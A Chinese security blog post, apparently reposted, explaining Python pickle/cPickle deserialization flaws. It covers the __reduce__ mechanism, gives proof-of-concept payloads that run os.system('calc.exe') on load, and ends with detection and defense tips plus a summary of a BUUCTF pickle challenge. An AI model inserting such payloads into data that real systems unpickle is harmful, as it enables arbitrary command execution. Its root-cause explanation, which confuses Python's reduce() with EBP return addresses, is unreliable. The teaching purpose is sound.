python pickle反序列化漏洞_(Python)cPickle反序列化漏洞

基本概念

Python中有个库可以实现序列化和反序列化操作,名为pickle或cPickle,作用和PHP的serialize与unserialize一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同,但cPickle库的性能更好,因此这里选用cPickle库作为示例。

cPickle可以对任意一种类型的Python对象进行序列化操作。下面是主要的四个函数:

cPickle.dump():将Python对象序列化保存到本地的文件中。

cPickle.load():载入本地文件,将文件内容反序列化为Python对象。

cPickle.dumps():将Python对象序列化为字符串。

cPickle.loads():将字符串反序列化为Python对象。

简单示例:

先创建Person类对象并初始化,然后将其序列化并输出,可以看到是C解释过的内容:

为了方便,直接在该代码下面添加反序列化操作:

Demo

还是用上面的示例,添加一个__reduce__()魔术方法:

漏洞根源分析

漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发reduce()函数从而触发恶意代码。

简单说明一下reduce()函数:将一个数据集合(链表,元组等)中的所有数据进行下列操作:用传给 reduce 中的函数 function(有两个参数)先对集合中的第 1、2 个元素进行操作,得到的结果再与第三个数据用 function 函数运算,最后得到一个结果。

由于cPickle是C写的代码且pickle与其实现原理一致,所以到$PYTHON_HOME/Lib/pickle.py中查看reduce加载的源码:

通过调试可以发现,第1136行将当前栈内容赋值给stack变量,当前栈内容包含我们输入的恶意的os.system(“calc.txt”)内容,接着出栈赋值给args变量;通常函数返回地址都保存在当前EBP寄存器所指的上方,因此通过stack[-1]可以获取返回函数地址并赋值给func变量;最后调用func(*args)传入特定参数执行函数,从而完成对象的调用解析而执行任意命令。

通用payload

因为反序列化之后用到的库需要在反序列化的文件中存在,所以这里简单分为未导入和导入目标模块即这里为os模块的情况,当然除此之外还有其他一些系统执行库、其他的姿势等等,可自行补充,后面有空再补上吧:

这里贴上测试代码:

#coding=utf-8

import cPickle

class Person(object):

def __init__(self,username,password):

self.username = username

self.password = password

def __reduce__(self):

# 未导入os模块,通用

return (__import__('os').system, ('calc.exe',))

# return eval,("__import__('os').system('calc.exe')",)

# return map, (__import__('os').system, ('calc.exe',))

# return map, (__import__('os').system, ['calc.exe'])

# 导入os模块

# return (os.system, ('calc.exe',))

# return eval, ("os.system('calc.exe')",)

# return map, (os.system, ('calc.exe',))

# return map, (os.system, ['calc.exe'])

admin = Person('admin','123456')

result = cPickle.dumps(admin)

user = cPickle.loads(result)

检测方法

全局搜索Python代码中是否含有关键字类似“import cPickle”或“import pickle”等,若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。

防御方法

1、用更高级的接口getnewargs()、__getstate()、setstate()等代替reduce()魔术方法;

2、进行反序列化操作之前,进行严格的过滤,若采用的是pickle库可采用装饰器实现。

原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/archives/1552

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
BUUCTF中的Pickle反序列化漏洞是指在该比赛的题目中存在通过反序列化攻击来执行任意代码的漏洞。具体来说,这个漏洞利用了Python中的pickle模块,pickle模块可以将对象序列化为字符串并保存到文件或通过网络传输。然后可以将这个字符串反序列化为原来的对象。这个过程中,如果不对反序列化的输入进行充分验证和过滤,攻击者可以构造恶意的pickle字符串,从而在反序列化的过程中执行任意代码。 在BUUCTF中,有一个题目叫做"Pickle Store",该题目利用了pickle模块的反序列化功能,并在反序列化的过程中执行了恶意代码。具体的攻击方法是,通过抓包获取到一个包含pickle字符串的session值,然后对这个字符串进行base64解码,并使用pickle模块的loads函数进行反序列化操作。这样就可以触发恶意代码的执行。 为了说明这个例子,作者提供了一个脚本来解析这个pickle字符串,首先使用base64解码得到原始字符串,然后使用pickle模块的loads函数进行反序列化操作,并最终执行恶意代码。这个例子展示了如何利用pickle模块的反序列化功能来执行任意代码。 在pickle模块中,还有一些其他的相关函数和方法可以帮助我们理解和分析pickle字符串的结构和内容。例如,pickletools模块提供了dis函数来反汇编pickle字符串,以及optimize函数来优化和简化pickle字符串的内容。 总结来说,BUUCTF中的Pickle反序列化漏洞是利用了pickle模块的反序列化功能来执行任意代码的漏洞。攻击者通过构造恶意的pickle字符串,可以在反序列化的过程中执行任意代码。为了解析和分析pickle字符串,可以使用pickle模块提供的函数和方法,如loads、pickletools.dis和pickletools.optimize。<span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值